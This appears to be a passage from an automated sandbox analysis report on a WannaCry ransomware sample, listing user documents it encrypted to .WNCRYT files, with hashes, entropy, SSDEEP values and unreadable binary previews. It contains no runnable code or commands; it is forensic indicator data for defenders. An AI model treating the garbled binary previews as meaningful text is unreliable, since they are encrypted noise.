                                    Preview:WANACRY!....1........L+F.b......Eu.."".6..yWah...G=.o...`.c. .\4..b>.5..G.D....&.7..m...VsxywX.1.7...u.A~>.5i..&}....v..O!/..?c(..<..k.5............*...^...f....m0-..0../....c.L..7.j!...57+.X).F......^......FH..,..j>x3.{E....F..I.t.ac...P...].3S.............^(..iV..XM._1.mt..WZ*r.!....a...p.o..u...i~..>`..5*a.*.v......z.?..M?.0..8.....n}8.&.T..,.6}..K1.....t.Y....^.B...b...xv.=..,`cH&...%:.)..O..0....Z-9..6g.Z..p..+..H...r....zT..Z...S>.L.@h.5Qp.Fb...~..;..y.......Mtr...+O.s...(X..5...".;.Yt....f..P..L."...||(..F,6....Ww.-.e...dL$..y[.....4.....jF.K...x..R..5.1._...T..).l.^.Q....>w.-..\+..Q,1............s.{VPmy..s.)....+....54.Xy..~,I...,.X.,Kbg.B..|...ac/...$........b=....1.t..-LsB..D........|J.k.Nf.......B.b7(3%.....6r..y..n*A.]!....v.d..lz.$.'..b.PN..y.E"....-xS..WeM..#.fMmI......8 4.D..?6}.0....]C..L.......<H....Mi...Y.......%...Y.%&.u.Y...&../..'......N...A.z.Q.Ff..5}...r.,.d....$...Q..J..E...o#. 6[..A[.o...a.pk..~rH.Q

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LCLZALVXRY.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.834021373899578
                                    Encrypted:false
                                    SSDEEP:24:bk8lVe9yaMav8w6VSjXGR8ZUaxpLEx3jJtySDUGtxCTZAui92q/cNM2/UZj5:bkgZaHj6VM2R8ZUa7EZNtVnO+uvCcC2w
                                    MD5:8CC3879CE4D17EF15DA993ACE7030B03
                                    SHA1:C2689A85F5B5FAC00B90B45BCBAF01DD638DD913
                                    SHA-256:B88A16B224CE1E4BD3CB1E3476269C98CE266F2FD1294675A6DB756B3A7F7CF0
                                    SHA-512:8E07CAD546357F0B5FAFE46A0A64E863026C88EBC8219FDD7C396D82FF1C11CC4F274EE07386599DE5C2CD53648E9BF6061AC82E166CF9169334E9BC3143F6B4
                                    Malicious:false
                                    Preview:WANACRY!......?..a....$c1Bb....'.m.p.P..?...........k!El.=dP.3......b9V.f...I.N91...<&..[..".5.0..p..H....>........t.?=.....u...).f=Fk..*.d....S..1...V$.Y.b.....O.Kic)....2,..K5.t..VJ6...e..3).x.%....../.h..-.#.....d~..^B.w.F....~..Zx.......g 1.....x;...............]..%A..f..m.{..*..7...og...=#Z..K...d....m.r.$....#....r..A.9UA.../+,HT...N.7.^...>.._V.1.'=q.d4...].9.~...O.W..1....l...7.{.Z.N.(>k.....bL.:8x_...!..%.`7.x..z.F.5....j..r...R.EB.s...h.......r.>........KC....S.Y:w.@.U.)m....6......}~.._l....b......!..^./....Y..[J.:Id|/>>..5.&..~...R......... ...jzb..jU)..d\.=...:..Q...x.hF-....tT..G..9....qt..o......g.b<bb(&..WNy?.q...x..b.x........K..v..`8*C...\.uU!w..HB!/..!IG..*..p..d..S....kP.....l.kA?$.......R..y...sq.p..i$........\e.m]1.o...U[.V.2.jQm...p.......Q'...5?^.>OQ.XhW...2..@...;........}...TD1...,...d...5d. ..?*.......2%f.c.._8}...R|..,.r.....#y..bu|W....Q....qN1...g..G4I@.....H..;.v...8]x_....,.hE.bqP'.... .dz.......WA....2...`.p!

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LCLZALVXRY.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.850075020118456
                                    Encrypted:false
                                    SSDEEP:24:bkrbB1fvaDBoILWZEP8jwDuWEgV3IHBBHTpebowzfYFkbxXaUddRcWOiif18F:bkr11nrIGycwCWVV6P9eboq2kVXaU7xn
                                    MD5:A55B47ADE5B3AF88BAD25A0BB66D8C69
                                    SHA1:DAD6269481BF3CAC4AAFA3B313F0EF96BC9183D2
                                    SHA-256:37D550ACA01518BE6AC012B61C52675762633225ED8B3CDC4CD17B8BCF4C4C35
                                    SHA-512:9AF66D60DF53357873B9A735A39B445B639A3324C9AC98A37C4AC08379AC55F384C1FA6CB4A3E8550A23AE5C79B233D1B4A68816B212DEDD43DAFA242BA6D041
                                    Malicious:false
                                    Preview:WANACRY!...._.6....t..35Xn..v..Hz.Q.}..e%.h.7.....t..<`....\."f...R..,.*.~W..m...G*C[m'...W=.....X.......1.N....W.K.}.,..B.3wo...B....d.$z....!t.H..O.....rQ...sxW.........T"..V(....&...@...$.Pm.2..D6...J)T..w6....^..:hE....49m...o..]{x....^......a...z?T..?4...K................f.l.......K..Of...$k..?c...j.....xA.:Myz....S./.5C.....O..i..#.F......K.0..7..31.........LG7..(?....T.!.S.e.P.N.Z.I..m......t.3?M. 8..o.~kSu..0.95.N].S.D:E.....ME......tLX......t\.J..e^.4...f...9K...V.Cn..@5%.r8.....uKU....k..;.M.9..*...'..:..+..Z\......s.(.....@$.f..[e.......Gd.@..G.>...ed..H@_.S.0.$.ml...h.=.y.C5...N.f...>%>.....rc.:.......Ug..x..!........:y..~cj....g...'...Z.V).+....7+x?....2%..|. V........M(.w...Tul.-.?...u..O..FQ...+...*..t-......g....?..~..\..*.e..X.[..i...O.>...Z....>..}./...,.{..j.,I....g....cR."@).)f.j..I....zN....`....(.Hv6X.......q....l...e..0.....+.Y1.{.N,.}.f4wt.[O...b.....u:.0!q.#.'uj9..w ..L....Y..."z...d!..Ny.{.......0.......W1t*I.S.~...

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LFOPODGVOH.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.852907468650602
                                    Encrypted:false
                                    SSDEEP:24:bk8dCgTzVNUcdMf8NLcg2afAOR2gOsC/HPyDk1f7SDi0Ga5Bz1yVv:bk8dpxNHOENhtNB4vyDE+i0Ga5Bz1Mv
                                    MD5:E426BA8FC14385B44ECEA5777FA25451
                                    SHA1:A647B10AF88BDD25F17C3A5A10D6169D2D7CD6A2
                                    SHA-256:15978BBC2F17D5C175705CBB0A156F2471D5F7182D5F0584479CC3D549FCA38C
                                    SHA-512:4911F7F1FFE803BCD0219BA51A6B19594B844E9E0C627EB690AB97F5B07594F38F809511950032828F1F33005FA8034398D074CCF75D1A8BADAC792C5DC3C2BE
                                    Malicious:false
                                    Preview:WANACRY!....%I...W7zn.....>De..Ho....{P..$....=.MJ........V.a^o...{....-+".y...H.+.......DK...........L]./....`...0'..[....t.ju..\~...Ub.n.h.....[*..Ic..P...-...... .9....mD..<.d..0D..L.4!..._R..p];...R.+..m.=..Q3..9.8.y.L......R.C.7N&..\J...X..v._..<.}.................7g:.m.....C.rM...o....Z5..&......M#Q...&i....,.!.j..l}...8.....i...%......[s.b[;c.8.A.e)uWP.........(..Yrt....{&.[..(~.F...wF..N....>8....S.Kr.+.+.1~..9..B9;....d..'.$...<z.....s...........%...........!X....tVc.F...6....h.M.....G,....$.0.|.,q_k...Y...9...H.....3......jEt..[..&y.'/K....<.PH%....|QA..m._2..ss`.`x.....1...Y....u.a...=`a...mz..#..A..]..N.....8Z;.MHGzP.\.... U.w.n+.......T....v.Q....Uc.<R.U|...Fk=].[a+c.7..?lo...S~.;.045V@SNsy5`/....b..-8..c..S.;...^'D*..$s....r<.,3........f...;~.e?....v..M.i...&.E......`_.&._.z.2...s..(-4.....xh...&w.%..j........Z0....n......<..b.k.. =&U.{.NK$.=(.....P.-..*.....f..y.G........3.H..r..M.v..,#..M..q..R.[=.B.D\...OB.k..t...J3../.Q..#......9

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LFOPODGVOH.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.844986156308365
                                    Encrypted:false
                                    SSDEEP:24:bkvkl4rNmPO0Cz8WvrAd4bon1evL1mGhOtGYWD6yUcmfe/mJoaWR:bk9rw+z8WTA4kumGM8qTe+JoaU
                                    MD5:9E91C6D0B4ED509B356FF0A27671C2C9
                                    SHA1:7F5FFEE4A561C54E65FA6105B93252EC0AFEE08D
                                    SHA-256:F86DDF443B9361F8F77D3DBCFE609207E37AC6B6AD9C3A3782464CAD9722DE68
                                    SHA-512:51D512E5F638376AA71084A44168D7DD3098CB6A26BACF316097F89F5655316FA4CEF516B8BE1D782C8478CD3F49D4EB819115DF03F87DAFE83D149CAB25DC10
                                    Malicious:false
                                    Preview:WANACRY!....11......s...FwY@.=.....h..2...0.M.tQ..<.*.w.R.4A...8n.....W...v...S..#.........w....o.q.N{.F*....6.f..5...7Q0w..EFg....ri.a8`.)q..5.s.x.!?.~..D...^T..&_.)@....]..6.x..w...&v....c..3.?Ku....vO.u...=i<.'V....5.....*..n....\M..<Y..&I..%R..'.r).N/............<,.B.H..oh.)}.-..zL.o....k3...A.k...]!...Ngkr.Y..?.Q....w........M.D-.K..>.H.7X....Q.........PM..;=........&AU.*..o.-...[.7u.zd.=.-E....@T..>W...[~d_........i.T:..!..m.H....oe.+.....s%..4.H.=....C..@.H.G.....b!..on.]...&..#XJYM..1.... .G..1k..K.j.N.ROx`..`h....B.R'.8..R.............M..\Y......O.,..k:,u.[..<...`....hB]9_....r9Lb_...b..5.....S....|.........H0...G..o..3,..T..QAA..^8.i$.......&.y....l.B...a(lJ^RO.....0......T.. ,..Mg...R..O..*.ie.s."..{&|.2.P>I.{......1G}....S...}.?.$..>gC.0.`e,#q%...J.Fh*.l|....zE.K.....H.A...}d.#.+3jhy#.......83.~.....B..S.)&4d.7H..n...Y~.V.....Q.r..........`.H..(..+f....m.aw!..Ma.#.b...0Y..#...6A....m...4OD...X..E."6..U&D...o...-..

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LIJDSFKJZG.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.841096867061518
                                    Encrypted:false
                                    SSDEEP:24:bk6laFDp8j3Fo8bGqXQ0Fju5dMZ5eaeeIfh4B1WBsIv7I9cFc0oUdfskOM86NXC:bkfFGjFo8b3Q5SZbVIfh4B8sO7fm0oUw
                                    MD5:BC9B1D72CA80B171B4A2684329143BF6
                                    SHA1:03E9315B6B51105F58043DE1DCCA9D1EF4D56B19
                                    SHA-256:64ECFC6A6528E9E6A49C3CBE5EC3DEF4684AE66F056A55E1C653DAAD3757A07A
                                    SHA-512:A7986B4E1201BB0A9E84C9A1C2E5BF8401AE1389C94A85258044C2E172CFD76710084E5FD7CDCDC6EC487E831BFC342F6AADE7F74722665AA2160AFCBB9CC48D
                                    Malicious:false
                                    Preview:WANACRY!......h....~.`U*QB.4.F#..t..(..?.A.*R..(. ....il....>..W.D...r..G......p4.@I..F.....<?..c.G..K.zY^7d..&....SW.G.>........~K....,.b..y..../...G.e<...r.....I.z7.ny....y..*.#...`h......F.......D...T..1....~..^..^....m..Gi.D...<...D.w/9..:G1.0.4.'.-/................i..|.....?.5....O..WU.....S9<.o..%y......sc.S$.7b0.mer3.\..p.u.3..[.*...O.9...l...GR.z...t-^.K.D.....xn...<V>.l....gX2.>rS..ue...T...-.>.....f..O].x.... ...\.3U!L..+.Y..t8'*w,nMQ....gQ..,....Y..,..7..2.t.;...a*...q.D..Y/..:.^^.o...>......<2.M..V...!.+Wce<...S............u.p...X...'...&.;.6 $..T.......Z.....%.|.T.......(...F..(L..d}...N....d.{.a..y.'...3E...4?.j....K.\.h.fJr.....d..v..=...'.O3..T...T"..x'.N0k.,..X>=+6JN9.f.....H!R.i..;.[.m......s)...u.<s._Q.[......t)A.....n...~..=3....`n..,.....<..g._.U.Y...P..&t.ps./..a...n.2.......L~t.....}]...[........%[........3Y.`..MO.1..xh.....m*..kl .-f.1......{:.f....]."^VzN.t.]...$..=X..^Y....<....d......9X..&.j.^m..$...'=.$.

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LIJDSFKJZG.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.86144315563255
                                    Encrypted:false
                                    SSDEEP:24:bkUSiaKSwASM+xqcfzKV0TFCM9uyRRsYDDzgg0FPBsSEkQyuO3wM:bkUS6DASDkafsKIF9EcuE1
                                    MD5:F29FFCF005405F84010821864DC4E714
                                    SHA1:B1E527D5CA6A2113CCCDA163B71FCAF0EF283844
                                    SHA-256:782FCE769645FD50FFE1BC2FC5EE89B93669A00AFD57015EC567256D6FED3A5F
                                    SHA-512:629A8DBA83D7276D495704B8A40DB1BFD9BE41D57E7A87B93FB87D9D687A2F2B489916F36DA7B05F82A04DB4B08AD6511454A019102319B01A3B19B1876BC01E
                                    Malicious:false
                                    Preview:WANACRY!......b..t;l..o..|....>Q8.I\..2.c..Q...nqb..\y.......x...|'O/.....z....##...816...{^.....@..!.......z.A....6.j.;...2=b...z../..J.e...]v...lB...I.y..V..k.q.m._.._..-..........E6.~...y.20.D...W.UU.1E.....la..H.............W.2x("t5...>iS....WZ....B..................`....!.oO..S3..5....Y......Yu6........A......g.3^..M..ocA...S.}..(.......r=.....ak..y...&s.\.e.....*.3.<.s.0..P.a.....\..p3@...g...m.^29.7;O.t.......oJ.Z........^..Vh=.t.CB)E._:....|....(6....`.....j....'....P..f...R..i^.2.E9m...T.%.y.ND..Twd..9m{a.....#..,.[....N>.'...v.f..x.x.>.q.<.XF..).?l....eK.5..kb.....;~6.i.....6.9.5J.A&.2.r..J..+ef..3.M..`........".Z>g./...Zed..f......4"e...U,1.B..i/.....7*.s.Cz+]_R...X"{....Ip.fH..[..Kq.o..nT7.Y]..=......X.}.G.. l.~.77..yk.3../A.j.]|..@zM(?+...o.c].. |'.......].Y.u...*...\.l.-...AV.C(.z.F...E.5....-.b.}...k6....4..].h..K.Bj......._..'..D.S...].(|..J..t.)..dV.c..h..4.@<.....|a...l..{....A.../D..6Y.3SJ...|oI.p....

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LIJDSFKJZG.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.861588891975817
                                    Encrypted:false
                                    SSDEEP:24:bkUdyR3aGUrOk92RwFHH//3QYNSxBxVEtZsrWUU7IS71QWmh1N7mnWs1qbfG3yXV:bkSy1vAOm2RyHH/Y1+tZsrbEb1QWmh/7
                                    MD5:E72C3A63DCA08BC906BF1AA2577F4853
                                    SHA1:8775F67C0889CE9F88516499D4B4B3DC7A3F8A3A
                                    SHA-256:008E27BE9ECAA9F75C55EADF8E6DCA50E5010941DCF577632A0C527D1B7A3CE8
                                    SHA-512:671BA32BA59612E1DDE355C9AB74A28C834C5FDD13AD2824FA59FD8BC3574FB68DECB0E7D68667F5B2ED557141405A34800E833DC295EBD88D2A6104BF338998
                                    Malicious:false
                                    Preview:WANACRY!.....\...2...."......57SZ..l?n..A....6g#J.].*Y....3]..b.DX.3.,n*.........B.+..#.#....gd4.S.6./...?..V...y..S.....)....u..>.......Q..}.8.w...^[.q.8..*}F...6......b..m..%..@>u./ca c<f....'.S.V..J..)]..........:.~.|.Q"..k......h./.l<.....k.$..h...j.#...............Z..U..WDzJ('..b'...`[..iT6x.2..:..X.dg9...9#..mAR.j.A.`.)|oQ.C.u...pY.(..'.MN..w]T....o..Q?....4.;^{^.a=1\..b.0.........)x...j>......i....K.`^<*|..Q..oc..'{C.y.7.hS..yfj...z;.....8RHWNM........:J..'.3....Qf.}.....F1.3,./..F.J5@#..m.%mNVN...'.{x>7..v.p}.p........D0.N....Vf..W.C....W..'"T".....A........x).EKs.s.....+ep.t....pp.Q....:Gq;..`.5........{._$....4=.........\...Z$.8s=.7.MP.....].C........x.z...V.B..(....l..jR.Q(....tlI{>U..&..L..cqE...(.a.&A..L.Lrh..wh....o..~~..iW<..Y....T&.+...k.-....SE.."..G3l..I..#V.|.4......*..'....I0.\.-M.J.DU..j...H......@$ZX9)...k.g.x....c..]....t...x|..4_Ez..........r.3.T....)[..>.......+.{.|...."i..o.)...n..1..H..uR..-q..o.Z#-.Ze.....R...U^.hz

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MNKQCGFJDG.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.828966724027708
                                    Encrypted:false
                                    SSDEEP:24:bkiNIkHO+ZBbLTmF6T7QHRxswcAkhpK9UhkwC7q+BoSObkpMXdvi3HJ087D+E+U+:bki9O0ByS7sU5pswC+6Wdv2B7qfuYn
                                    MD5:74A75041AFB3581EB8AFBF673145F2E7
                                    SHA1:110C619D53E895D9B77A3717A52486A2FAD58372
                                    SHA-256:2B7DBE66679160E0AB418F8DCAE9DBAD057E12A06E06BA121C4AD6FFD7EA21AC
                                    SHA-512:F0C57C0459B52242DDF91A9FCA0CEAB5BEE08A5932E66C1897DBF81A6F0EE83D2AFF937759623B97F9CC2B9C3929261A8720156BEFE904592258EEF396E837EE
                                    Malicious:false
                                    Preview:WANACRY!....r.R..o....T.N.^X~<..zMZ.\.dB...O&...u.....W,...p.50U..*.....;...S....b.Njx.....5.v.p......\.Q...4.=4=.rv........O...}..EL\..~0.......H1...+.zK..@A..U>/ .X.v.c.u.(..Kv..:u.MXDfA.SR.j.].=..4|...%....;.R.b..9.Q....k.;+.m..H...U....|..Y...+....!G.e..._.............t...:..<|.F...^..y.?.^)%}..hD.%iC...*../..Zs.9Z\..".}......;....e.p..vrr........%Y^...i..C.E"Dc.Yj.\.G|6..X..`@....gx...OU/!"..S....zU.tp._.E...0..dRDcV^.=....ZA..r..Z.ks.SZ.V........v{..FT=@...^.......j....^.o.!%r....;c.."..$}.5..Z.T..k.9..d...W?jd^..do.`.5.....R.;l.e..=#9...x3.t....6M....sb..........."...@.g.8Z..*.>xL.@.w..B..y..+.bW..t`^.t..%.}.p...[*.|.b.......x.......w......!I..b.@..Ky..5B....^..==./..Y.]..+L..?...s..M:..).9r/............N.R...H.....M./.P..yU4.(+.......h.../F.$.J....Y..^..h.31w.....dJ.G.{..M...Z."...-.C..5......./.*zVd.. HN..z.Ejp........:qt.%HA68..Y...by.O*..aI."j.*.Ph.7kt.Q.X...V.#.Q.Qy......H.hO>..i`.....{.A._o@.H.V]...LL.ia..6.H.+.3r*8......F..j!.<T

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MNKQCGFJDG.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.816355705926898
                                    Encrypted:false
                                    SSDEEP:24:bkRNkojvzenEiZPfyZdyeLtfWNJ4oQn7DGmJQeKhgTtRUPCg9pp:bkRNrSPfyZdyeLtOFQnXG4QeagTtRUP3
                                    MD5:65EF7E0EACB69B1B533F0DB7AE2E5121
                                    SHA1:02F181BDA48D35CC195E70D9D680AD09E2851500
                                    SHA-256:92BACFF206D8B136C69B7A73FD0C3A002A6C00F71590760D38B9954FBA3C1930
                                    SHA-512:D6BDF1CF5D6265B749FD182D37FF830CDE7FF9008F7D6A6C3BE0EFE6FDA41E5EDB45E5D1FACE322DEF85E4823D2890D92A3EA8582A4527C866AA15CFF8B2184F
                                    Malicious:false
                                    Preview:WANACRY!....8U..........Q..X..mHQ../5l.2Ahy...A..NL..7r...._.[d...y..9..........#.O.>*@.P.....'.^|..,.(.9..C....9.E3`...}{>X....m..{...2..y..@._vI.%.z...4..u..-.i.....DF.M...tk(>..Z.h...+_.^...O.......].J.U......>.*X.~..?2.q...7.D.......{v.4..cu.8wgrc....K...................R....\..C].X..|.....s/..L......l8...........>;.1.[..e.=VPU..I..N.....K.-/..9..1.......4.w8......5.-...3...@a..G....m..8.nn~.m.1...U..K.*X...U....*".H...y.1.w.b.f9...e%...>\Q....{..'W.~g..Z4.*...........A;.].=.dAn.g.i.....dH2 ....hK.....|.d>.yPU8~.|..G}....y%...P.,).).....J.{..w.....Sp.m....5.Qr..o);w.o...>..{q.H.?......X.......T[.|.6y.KDw.x.Ko.8K.8.#J..M...9..A......j%[.....e`........JH.f...u....jh..(x....*... M.'.vGj......"3.{..M.R..@...Lp.d..+.....3.o.#e......=.S....J.............p.~.I.._E.8.d-~6.D..t.v.c..c.*!r.U..V.'...4PRQUUb*....l.6....\....]<1....v..R..2Ty.{(J...}.}..8..xW5.......u.5j....D.F.u6..H..i.L...z.%.A.Yq.....C.......c.)C....X ..[.s....+V.4Q...*.7@.j....}

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PWZOQIFCAN.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8502373391388165
                                    Encrypted:false
                                    SSDEEP:24:bkeftEhqsY2a1Hjr2+SjwavwKmF2gBrmb11hmAeZMT5bpm5svIPRkUj9ooWR:bke20HmbwhBCb11hmMi5svIPRDooy
                                    MD5:782506FD393E3993FAA64BD809D49720
                                    SHA1:9A79C9670E273E5A168BC912A17F494BAAC39732
                                    SHA-256:957C296CD54C74D3C650312FB88B4A73CC2AB1A55D35421C2E3F37F7B6DA9F46
                                    SHA-512:7E1EC283484CFB94177CC0AA8047E11C0B65C8E05A46BECDE319E96157F136FB8D760F3E5E4BF0C891A000DE764B5FE6770E43BDC2B356BE359EB62362CEE346
                                    Malicious:false
                                    Preview:WANACRY!....mQ.".....q.......@.K.B...#a.k.}...>...X.:...Q..R..v.)Qp<...9.......Lm.W=..S._v....(.F.........q.X*.xC....Z.d..B......{..',+...K-Y.m_..d...N...2...w.iCx6.....L{.r.|V.+lU@..'Z_.L.R~....c...1....R...d.9.u[..$.........#...B.y..Q....h.-.]../<..................>....C...;.i%0.-.|tV..t.F...4..........w..i..|;A.A......1. }..^2.`....~..D....2.F>LM.d#:..t/.*.bhM.;...Y@W.,....'4...:....."G.-...~.......>..r..T2{..\.._..^j...T................8y....n.e....q...Tc..n.<vHt...d.%....n...@...pFf...R..s..C..H......5.;..swV.[U.Y....1.Gly.B.].v.R`.w..z.....x..z............G+..)....wCm.?.u...Q.+|.Aw.p.p.........Xi...]...#XBq[....V.sw.,..L.../.)Q8.u...r.pJ....._b.}.S..fT........P.6K:&...v..u.a.D.j....fC...Q..2d...:.Ab/.M}.Ktu}J..l..?.#L.....v.LaM...=...(.U......{...>.:.2...m*..bF.......Q..'X...w..=a.m:..D.%.,h.D.-..._?......d2.;.._.y.C..&d.....gH....t,b..(.";.K..gmn....cK.}...'V..U..cM.b..C`-...4aW...>N=.f....}..^\.1L.3....FA..... .J..

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QFAPOWPAFG.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.845264779778688
                                    Encrypted:false
                                    SSDEEP:24:bkWPmv5vetL5NVdQb61glqH8l1TOt4PsQjNcmXJKljC/xvPDUO8z9vAkuKmM:bkWuRvwL9dQbuUqw1TO+PJtXJKlj0xv+
                                    MD5:68A6BD80140A9AEDC79F9C19B6072F10
                                    SHA1:4B346A4B99715E4575B623CD39722BC323172F98
                                    SHA-256:0C483C4E2FBA9A9E0E2FE070290C3206BEFD090137F8E90D014EFA0EAE28B35F
                                    SHA-512:E72049F05C22CD833127594B478F334E88CED92CA6AD2665F39949DD35443AE325EBED74817F7E650484EDB462AB6BA1C461C4DAB1AE4DB8D68ED345D043ACED
                                    Malicious:false
                                    Preview:WANACRY!....m...?m....I.;...sw.v..I:.......S....D...T.l...#T..C......0@vM....,._}........\NP....M|..|.BV......,..f/....M.f.K.Yz...;.n.F.......~_....a...=D.....+.....!...P.t=j..P[r.....1....y.`).(. ^.....xJ..c....##4<.P...`E[.W&."..B..X...M..6....D..p..K................B..[.=R...r|.cA....Vfp6zij..Wd8...U..z7i.u...E......<...*@I..?TZ.l.Sy).....p..q...|?..!..<.3..Mi..x}.."cH.5y..l.f."y...0:-3..(..i&.J.......kJlg.q.o.=..[.V..??...1.........%.>..O.P....3?7.i..... a\..C.\;R.G.M...F.).*.{.D<..L.l1$;3..e....f....&D....D.o....X2B%j..)ih...==......S..-.Q..#.......,q..Ix..?..9C.o..._2....v....~.o.._....`......G.c.d..P.3H..9......=|.....b....F].M.=.$.@).gG.y....tz..z..........0w.oq)..r.......Iz.$....^...#..(.@B....>...\....1..gY.JK..s....D1.z...y.X..\......6t.7......Bq..O.O.E\..h...T."O..vr...j..j......Wi.L.XX@.v....V>?....2.z+......#...@..E......c..K.0..7......i.....[.f.P....L#..z......b.........ir..._....u.j...o9x.XV..5%.9.y.TB.=.o.d...

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QFAPOWPAFG.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.822705000189913
                                    Encrypted:false
                                    SSDEEP:24:bkW7HLR7gcX5V93fOFcX4HMOeqvGCxAMN/YeugqFGjumdvhz3Jro8n+ftYsJPUfH:bkWjLF1pV93fOZmoGzMRSCt3J88nCU
                                    MD5:A6252F07D170D3B37418AC29C14A8E82
                                    SHA1:ABF257F1EA3EC1C92E64939D895324997B4AD6F4
                                    SHA-256:769D06DD761A2B2E48C829C1C1B015842C30EEE7D69365B79F63F1CD2747BE20
                                    SHA-512:23B173DBEF9D77C7E1EB1AA5252C9E4D92234D1C52CEB7DFEB8D70272F4AACE1B9AAD647CE7101874C3F4423096C4E6619EFCFB4FB07D058210D48E8E559BD4F
                                    Malicious:false
                                    Preview:WANACRY!....xc......cs..q.$.....].A.v.Rl.2.O.w..a....>8Y....|.q...n........V-.|..*.wY..@...(.cD..=...fo..s....{............,:w.. ...a.q...(....XH.^...)..e.Uo...l.DdJ...N..:(.+5o.Sgl.c.6!|.H..G.m.]......H...#...j\....F.~Ho....Z..u..oC.D..*.M...T.'...4./...............M..A.....h...S../.+./.0n......_Y.E.w.b9.z....K..=.i...Z.yQo..8..HfF..4.....i}..!.z...U....).4G..]z.....^..+..P..X...'..).....U.C.<.......O....B..1..*....}.)j\....<.&..OM.#O..5$.3.:..^>z..=...9Z_x.b4.F..4?..+P....c2....nr.T..s......1...X.3&~...H>.2.W..7..E.=G...{.c....wt..D......-....B...0..i..co......t..>JG... .P.b~.x...=U....K&.....}.vv....'.L~-[.......(q..&..~...8.Q.q.S....?..gvG.62...9.+F.....+.S....(...J=....!....U.s.N@..g.*.. ...L.h.H.*.e.4..$cE.zj....V..(...?..r..."-ug..@./.)7.h`i..^..K....(.).C.$:.S.Y..!7...0....`.w..3.as...%..Y.N ~7u.l2g.1..M.c.[. @G...$..dfW..MZ.h.......0..1..<.9..5]...*SWH..l...R= .5eD......v....+.._....}.wBp.._a.OJ+...r5.#.a(.J.I_Q..M!M..i.y'8

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SBVUSFKOGN.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.843163511264826
                                    Encrypted:false
                                    SSDEEP:24:bkWsMP25ob0jhRhdKKDh2HPf8HnWzQ+lkOfL3KgvwDRQu9ja03BRsk3IQMzI:bkWsMuCchRPbIX8HWIOT3KyARQusYBtr
                                    MD5:C4B75F8A843F3E3AB93D0F360B620D28
                                    SHA1:CA75844BF15627540FE6445CEAB0B858E09FCA37
                                    SHA-256:97B8EA1C3999F03C6757F81E40ED1705413D0F5C0E257AF96D159AC6D2E7205D
                                    SHA-512:FC49398D55567DA37A9DF6D787B2C653F3E68E8B1AD3663FF83BDB8EE87ACD0517DA862789C896854BAB7690A3EE462AC50C1D33C9F3CBA79E289589024E5658
                                    Malicious:false
